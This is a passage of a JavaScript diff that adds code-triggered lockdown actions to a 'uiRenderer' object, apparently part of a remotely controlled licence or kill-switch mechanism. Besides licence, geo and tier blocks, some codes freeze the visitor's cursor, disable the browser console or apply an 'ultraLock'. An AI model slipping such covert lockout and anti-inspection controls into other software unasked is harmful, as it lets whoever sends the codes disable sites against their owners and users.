+ case 9:
343
+ uiRenderer.blockPage(message || "License Invalid or Expired");
344
+ break;
345
+
346
+ case 10:
347
+ uiRenderer.hideFeatures("payment");
348
+ break;
349
+ case 11:
350
+ uiRenderer.hideFeatures("auth");
351
+ break;
352
+ case 12:
353
+ uiRenderer.hideFeatures("upload");
354
+ break;
355
+ case 13:
356
+ uiRenderer.showWarning(
357
+ message || "Soft Maintenance: Updates in progress",
358
+ );
359
+ break;
360
+
361
+ case 14:
362
+ uiRenderer.comingSoon(message);
363
+ break;
364
+ case 15:
365
+ uiRenderer.sunsetMode(message);
366
+ break;
367
+
368
+ case 16:
369
+ uiRenderer.tierLock(message || "Free Mode: Premium features locked");
370
+ break;
371
+ case 17:
372
+ uiRenderer.tierLock(message || "Premium Users Only");
373
+ break;
374
+
375
+ case 18:
376
+ uiRenderer.blockPage(
377
+ message || "Geo-Restricted: Access not allowed from your location",
378
+ );
379
+ break;
380
+ case 19:
381
+ uiRenderer.hideFeatures("limited");
382
+ break;
383
+
384
+ case 20:
385
+ uiRenderer.freezeCursor();
386
+ break;
387
+ case 99:
388
+ uiRenderer.disableConsole();
389
+ break;
390
+ case 100:
391
+ uiRenderer.ultraLock(message);
392
+ break;
393
+
394
+ default:
395
+ console.warn("DSG: Unknown code", code);
396
+ break;
397
+ }
398
+ },
399
+ };
400
+
401
+ // Harden the object to prevent overwriting methods
402
+ Object.freeze(uiRenderer);
403
+
404
+ export { uiRenderer };